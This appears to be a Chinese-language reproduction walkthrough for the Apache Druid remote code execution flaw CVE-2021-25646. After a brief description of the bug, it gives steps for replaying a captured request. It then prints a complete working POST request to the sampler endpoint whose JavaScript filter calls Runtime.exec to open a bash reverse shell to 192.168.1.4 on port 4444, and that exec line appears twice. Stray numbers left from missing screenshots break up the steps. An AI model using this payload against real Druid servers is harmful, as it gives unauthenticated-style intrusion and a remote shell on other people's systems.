Apache Druid

代码执行漏洞(CVE-2021-25646)

Apache Druid < 0.20.1

Druid不仅是一个数据库连接池,还包含一个ProxyDriver、一系列内置的JDBC组件库、一个SQL Parser。

支持所有JDBC兼容的数据库,包括Oracle、MySql、Derby、Postgresql、SQL Server、H2等。

Apache Druid 包括执行用户提供的 JavaScript 的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。

服务启动后,访问`http://your-ip:8888\`即可查看到Apache Druid主页。

1

抓包

2

发到重放器,修改成post,请求地址 /druid/indexer/v1/sampler,也可以是druid/indexer/v1/sampler?for=filter

56

7

exec(‘/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.4/4444 0>&1’)

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1

Host: 192.168.213.150:8888

Content-Length: 716

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: http://192.168.213.150:8888

Referer: http://192.168.213.150:8888/unified-console.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{“type”:”index”,”spec”:{“type”:”index”,”ioConfig”:{“type”:”index”,”firehose”:{“type”:”local”,”baseDir”:”quickstart/tutorial/“,”filter”:”wikiticker-2015-09-12-sampled.json.gz”}},”dataSchema”:{“dataSource”:”sample”,”parser”:{“type”:”string”,”parseSpec”:{“format”:”json”,”timestampSpec”:{“column”:”time”,”format”:”iso”},”dimensionsSpec”:{}}},”transformSpec”:{“transforms”:[],”filter”:{“type”:”javascript”,”function”:”function(value){return java.lang.Runtime.getRuntime().exec(‘/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.4/4444 0>&1’)}”,

 

“dimension”:”added”,

 

“”:{

 

“enabled”:”true”}

 

}}}},”samplerConfig”:{“numRows”:500,”timeoutMs”:15000,”cacheKey”:”4ddb48fdbad7406084e37a1b80100214”}}

exec(‘/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.4/4444 0>&1’)